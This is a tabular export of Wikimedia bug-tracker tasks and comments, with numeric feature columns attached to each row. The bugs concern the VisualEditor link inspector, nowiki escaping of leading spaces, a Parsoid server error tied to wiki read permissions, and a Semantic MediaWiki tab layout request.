ve.ui.LinkTargetInputWidget.getTargetFromAnnotation ve.ui.LinkTargetInputWidget.js:84
ve.ui.LinkTargetInputWidget.setAnnotation ve.ui.LinkTargetInputWidget.js:63
ve.ui.LinkInspector.onOpen ve.ui.LinkInspector.js:95
ve.ui.Inspector.open ve.ui.Inspector.js:206
ve.ui.Context.openInspector ve.ui.Context.js:355
ve.InspectorAction.open ve.InspectorAction.js:44
ve.Surface.execute ve.Surface.js:193
ve.Surface.execute ve.Surface.js:186
ve.ce.Surface.onDocumentKeyDown ve.ce.Surface.js:330
proxy jquery.js:775
jQuery.event.dispatch jquery.js:3063
elemData.handle.eventHandle

--------------------------
**Version**: unspecified
**Severity**: normal"
225462,VisualEditor: Opening link inspector without selection in stand alone instance throws error.,Now merged.,,,1360105358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xpyddbk7oe25b7f7bpp3,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Now merged.
225460,VisualEditor: Opening link inspector without selection in stand alone instance throws error.,Patched in https://gerrit.wikimedia.org/r/#/c/47615/,,,1360094494,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-xpyddbk7oe25b7f7bpp3,task_subcomment,,True,c1,1,False,,,-21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Patched in URL
46478,VisualEditor: Unexpected behavior when line starts with space,"nowiki tags

edit a line in VE such that it starts with a space

VE unexpectedly inserts <nowiki> tags on the text of the line

edit a line in VE such that it starts with a text, and add bold or italic to the middle of the line somewhere

VE inserts <nowiki> tags up to the formatted character and leaves the rest of the line alone

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10444}",Needs Triage,90.0,1359487500,1360208015.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-cke5acua2kmqpq2rtiv4,task_description,declined,True,c1,1,False,False,True,-22,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,8.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,0.0,6.5,1.0,2.0,7.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,8.0,4.5,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,3.5452488687782804,0.5923831070889893,"nowiki tags

edit a line in VE such that it starts with a space

VE unexpectedly inserts <nowiki> tags on the text of the line

edit a line in VE such that it starts with a text, and add bold or italic to the middle of the line somewhere

VE inserts <nowiki> tags up to the formatted character and leaves the rest of the line alone

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10444}"
212656,VisualEditor: Unexpected behavior when line starts with space,"... but when you save "" le'''''adi'''''ing space"" in the wikitext editor, you get <pre>le'''''adi'''''ing space</pre>, not <p> le'''''adi'''''ing space</p>. The <nowiki> tags are necessary to get the latter, which is what the VE user actually typed.

Closing as WONTFIX.",,,1360208015,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,5.0,9.0,0.0,4.0,0.0,4.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,14.0,4.0701754385964914,0.7017543859649122,"... but when you save "" le'''''adi'''''ing space"" in the wikitext editor, you get <pre>le'''''adi'''''ing space</pre>, not <p> le'''''adi'''''ing space</p>. The <nowiki> tags are necessary to get the latter, which is what the VE user actually typed.

Closing as WONTFIX."
212649,VisualEditor: Unexpected behavior when line starts with space,"Created attachment 11719
normal editor vs. VE on save

**Attached**: {F10447}",,,1359744124,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,False,,,-22,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.45,0.85,"Created attachment 11719
normal editor vs. VE on save

**Attached**: {F10447}"
212641,VisualEditor: Unexpected behavior when line starts with space,"Created attachment 11718
normal editor vs. VE preview

**Attached**: {F10446}",,,1359744087,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,False,,,-22,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6842105263157894,0.8421052631578947,"Created attachment 11718
normal editor vs. VE preview

**Attached**: {F10446}"
212634,VisualEditor: Unexpected behavior when line starts with space,"
Maybe I'm missing something. 

I've attached a screen shot comparing preview in the normal editor to preview in VE where both are doing exactly the same operation:  editing the string "" leading space"" where the ""adi"" part of the string is made both bold and italic. 

The normal editor does not add <nowiki> tags to this string.  VE adds <nowiki> tags. 

The normal editor does not save the text with <nowiki> tags.  VE saves the text with <nowiki> tags. 

It may be that VE adds <nowiki> tags by design, but they seem unnecessary.  Again, I could be wrong.",,,1359744005,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,False,,,-22,,0.0,0.5,0.0,0.5,1.5,4.5,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,6.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,6.5,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,13.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,6.0,2.5,8.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,3.5,6.5,6.5,0.0,2.0,0.0,3.5,0.0,1.0,0.5,0.0,2.5,0.0,0.0,5.0,3.463478064224333,0.6534373586612392,"
Maybe I'm missing something. 

I've attached a screen shot comparing preview in the normal editor to preview in VE where both are doing exactly the same operation:  editing the string "" leading space"" where the ""adi"" part of the string is made both bold and italic. 

The normal editor does not add <nowiki> tags to this string.  VE adds <nowiki> tags. 

The normal editor does not save the text with <nowiki> tags.  VE saves the text with <nowiki> tags. 

It may be that VE adds <nowiki> tags by design, but they seem unnecessary.  Again, I could be wrong."
212630,VisualEditor: Unexpected behavior when line starts with space,"No, this is expected behaviour. A line that starts with "" "" in wikitext is a pre-formatted block. If VE just let users save <P> Foo</P> as "" Foo"" they'd get very unexpected results.

We don't (and won't) expect users to understand that certain characters are magic and can't be used in certain places, and instead we need to escape character sequences they've entered that happen to be 'magic'.

Unless I'm missing something?",,,1359682189,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,True,,,-22,,0.0,1.0,1.0,2.0,3.0,8.0,2.0,0.0,0.0,2.0,4.0,8.0,0.0,0.0,0.0,3.0,0.0,6.0,10.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,13.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,5.0,10.0,3.0,3.0,4.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,5.0,10.0,2.0,1.0,6.0,0.0,5.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,3.0,3.622448979591837,0.7448979591836735,"No, this is expected behaviour. A line that starts with "" "" in wikitext is a pre-formatted block. If VE just let users save <P> Foo</P> as "" Foo"" they'd get very unexpected results.

We don't (and won't) expect users to understand that certain characters are magic and can't be used in certain places, and instead we need to escape character sequences they've entered that happen to be 'magic'.

Unless I'm missing something?"
212627,VisualEditor: Unexpected behavior when line starts with space,look what happens in the regular editor.  I think VE is doing something really strange here.,,,1359671085,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,False,,,-22,,0.0,5.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,4.052631578947368,0.9473684210526315,look what happens in the regular editor.  I think VE is doing something really strange here.
212625,VisualEditor: Unexpected behavior when line starts with space,I'm not entirely convinced what the expected behaviour is - should it be just the leading ' ' character that is wrapped in <nowiki> elements?,,,1359669739,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,True,,,-22,,0.0,0.0,3.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,10.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,3.0,3.0,3.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,3.0,4.0344827586206895,0.896551724137931,I'm not entirely convinced what the expected behaviour is - should it be just the leading ' ' character that is wrapped in <nowiki> elements?
212622,VisualEditor: Unexpected behavior when line starts with space,"Created attachment 11706
nowiki tags with formatted text

**Attached**: {F10445}",,,1359487603,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-cke5acua2kmqpq2rtiv4,task_subcomment,,True,c1,1,False,,,-22,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8421052631578947,0.8421052631578947,"Created attachment 11706
nowiki tags with formatted text

**Attached**: {F10445}"
46313,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"**Author:** `mail`

**Description:**
Hi,

when I click on the WYSIWYG button on /w/VisualEditor:Sandbox (existsting page), I only get an error:

    {""error"":{""code"":""parsoidserver"",""info"":""Error contacting the Parsoid server""}}

My config is as following:

    require_once(""$IP/extensions/VisualEditor/VisualEditor.php"");
    define( 'NS_VISUALEDITOR', 2500 );
    define( 'NS_VISUALEDITOR_TALK', 2501 );
    $wgExtraNamespaces[NS_VISUALEDITOR] = 'VisualEditor';
    $wgExtraNamespaces[NS_VISUALEDITOR_TALK] = 'VisualEditor_talk';
    $wgVisualEditorNamespaces = array( NS_MAIN );
    $wgVisualEditorNamespaces = array();
    $wgVisualEditorNamespaces[] = NS_VISUALEDITOR;
    $wgDefaultUserOptions['visualeditor-enable'] = 1;
    $wgHiddenPrefs[] = 'visualeditor-enable';
    $wgVisualEditorParsoidURL = 'http://parsoid.wmflabs.org/';

I installed the current git masters from mediawiki and visualeditor as of today (24 Jan 2013).

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC
**URL**: http://lists.wikimedia.org/pipermail/wikitext-l/2013-January/000750.html",Needs Triage,90.0,1359038700,1360207511.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-gf44zknlabktvyuiobnc,task_description,resolved,True,c1,1,False,False,True,-23,,0.0,0.0,0.0,0.0,0.0,2.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,4.333333333333333,0.0,0.3333333333333333,0.0,1.3333333333333333,0.6666666666666666,0.6666666666666666,2.6666666666666665,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,11.333333333333334,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,2.3333333333333335,0.0,1.3333333333333333,2.6666666666666665,5.666666666666667,0.0,5.333333333333333,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,2.0,4.301801801801802,0.5315315315315315,"**Author:** CODE

**Description:**
Hi,

when I click on the WYSIWYG button on /w/VisualEditor:Sandbox (existsting page), I only get an error:

    {""error"":{""code"":""parsoidserver"",""info"":""Error contacting the Parsoid server""}}

My config is as following:

    require_once(""$IP/extensions/VisualEditor/VisualEditor.php"");
    define( 'NS_VISUALEDITOR', 2500 );
    define( 'NS_VISUALEDITOR_TALK', 2501 );
    $wgExtraNamespaces[NS_VISUALEDITOR] = 'VisualEditor';
    $wgExtraNamespaces[NS_VISUALEDITOR_TALK] = 'VisualEditor_talk';
    $wgVisualEditorNamespaces = array( NS_MAIN );
    $wgVisualEditorNamespaces = array();
    $wgVisualEditorNamespaces[] = NS_VISUALEDITOR;
    $wgDefaultUserOptions['visualeditor-enable'] = 1;
    $wgHiddenPrefs[] = 'visualeditor-enable';
    $wgVisualEditorParsoidURL = 'URL

I installed the current git masters from mediawiki and visualeditor as of today (24 Jan 2013).

--------------------------
**Version**: unspecified
**Severity**: normal
**OS**: Linux
**Platform**: PC
**URL**: URL"
226815,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"

*** This bug has been marked as a duplicate of bug 44483 ***",,,1360207511,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gf44zknlabktvyuiobnc,task_subcomment,,True,c1,1,True,,,-21,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 44483 ***"
226812,Parsoid should support passing on an authenticated user's read right (when MW API supports that),"**mail** wrote:

http://lists.wikimedia.org/pipermail/wikitext-l/2013-January/000750.html

Solved by setting $wgGroupPermissions['*']['read'] from FALSE to TRUE.
I hope there will be the possibility to have it FALSE in the future :)",,,1359450666,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gf44zknlabktvyuiobnc,task_subcomment,,True,c1,1,False,,,-22,,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,3.0,16.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,13.0,8.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.710526315789474,0.8157894736842105,"**mail** wrote:

URL

Solved by setting $wgGroupPermissions['*']['read'] from FALSE to TRUE.
I hope there will be the possibility to have it FALSE in the future :)"
45925,SMW: Refresh tab (purge) is always collapsed when using the Vector skin,"Just very recently I started to work with semantic wikis intensely which use the Vector skin as a standard and where it does not make sense to switch back to MonoBook. 

Having said this, I would like to suggest that the ""Refresh"" tab (purge) of the action menu at the top of a page is not collapsed with miscellaneous other tabs but always displayed expanded between the ""Edit"" and ""View history"" tabs.

Especially for beginners it would be very helpful to make them aware of the possible need to refresh a page.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1358094720,1425405042.0,PHID-USER-37d2msujvpp2rippbzoq,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-fmsq2a44unt5qvw7fvjz,task_description,declined,True,c1,1,False,False,False,-25,,0.0,0.0,2.0,0.5,1.5,5.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,6.5,10.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,3.0,0.0,0.0,0.0,0.0,0.5,11.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,5.5,1.5,7.5,1.0,2.0,6.5,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,10.0,2.5,0.0,4.0,0.0,3.0,0.0,1.0,2.0,1.0,0.5,0.0,0.0,0.0,4.032258064516129,0.782258064516129,"Just very recently I started to work with semantic wikis intensely which use the Vector skin as a standard and where it does not make sense to switch back to MonoBook. 

Having said this, I would like to suggest that the ""Refresh"" tab (purge) of the action menu at the top of a page is not collapsed with miscellaneous other tabs but always displayed expanded between the ""Edit"" and ""View history"" tabs.

Especially for beginners it would be very helpful to make them aware of the possible need to refresh a page.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
420024,SMW: Refresh tab (purge) is always collapsed when using the Vector skin,"The Semantic MediaWiki developers requested in https://phabricator.wikimedia.org/T64114 to move their task tracking to https://github.com/SemanticMediaWiki/SemanticMediaWiki/issues and to close remaining tasks in Wikimedia Phabricator.  If you still face the problem reported in this task in a supported version of SMW, please feel free to transfer your report to https://github.com/SemanticMediaWiki/SemanticMediaWiki/issues .  We are sorry for the inconvenience.",,,1425405042,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-fmsq2a44unt5qvw7fvjz,task_subcomment,,True,c1,3,True,,,87,,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,19.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,7.0,20.0,8.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.372881355932203,0.7627118644067796,"The Semantic MediaWiki developers requested in URL to move their task tracking to URL and to close remaining tasks in Wikimedia Phabricator.  If you still face the problem reported in this task in a supported version of SMW, please feel free to transfer your report to URL .  We are sorry for the inconvenience."
229648,SMW: Refresh tab (purge) is always collapsed when using the Vector skin,"Removing relation to Vector skin issues. This is the default behaviour indeed, but individual menu items can indicate whether or not Vector should allow them to ""come out  of the menu"" and onto the horizontal menu bar when space is available.

The navigation links array in PHP (exposed via the SkinTemplateNavigation hook[1]) contains an array for each tab. Setting property 'primary' to boolean true will instruct Vector to apply class ""collapsible"".

Example:
 https://github.com/wikimedia/mediawiki-extensions-VisualEditor/blob/1f136f9d1d/VisualEditor.hooks.php#L96-L101


[1] https://www.mediawiki.org/wiki/Manual:Hooks/SkinTemplateNavigation",,,1409587205,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-fmsq2a44unt5qvw7fvjz,task_subcomment,,True,c1,3,True,,,61,,1.0,0.0,0.0,0.0,1.0,4.0,2.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,21.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,2.0,12.0,2.0,3.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,1.0,11.0,5.0,0.0,6.0,0.0,1.0,0.0,1.0,1.0,1.0,2.0,0.0,0.0,1.0,4.195876288659794,0.7731958762886598,"Removing relation to Vector skin issues. This is the default behaviour indeed, but individual menu items can indicate whether or not Vector should allow them to ""come out  of the menu"" and onto the horizontal menu bar when space is available.

The navigation links array in PHP (exposed via the SkinTemplateNavigation hook[1]) contains an array for each tab. Setting property 'primary' to boolean true will instruct Vector to apply class ""collapsible"".

Example:
 URL


[1] URL"
45841,"VisualEditor: Make link inspector aware of annotations, rather than just target strings","The link inspector currently depends on a function which decides whether a target is an internal or external link, making it impossible to link to a new or existing page named like a URL.

This is related to bug 43063.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=43063",Needs Triage,90.0,1357860900,1358388388.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-cek4b33i7kzn3d5tir7d,task_description,resolved,True,c1,1,False,False,True,-25,,0.0,0.0,0.0,1.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,3.0,11.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,7.0,0.0,1.0,0.0,0.0,0.0,3.736111111111111,0.6111111111111112,"The link inspector currently depends on a function which decides whether a target is an internal or external link, making it impossible to link to a new or existing page named like a URL.

This is related to bug 43063.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
224674,"VisualEditor: Make link inspector aware of annotations, rather than just target strings",Made it to master for the 2013-01-16 branch.,,,1358388388,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cek4b33i7kzn3d5tir7d,task_subcomment,,True,c1,1,True,,,-24,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8461538461538463,0.9230769230769231,Made it to master for the 2013-01-16 branch.
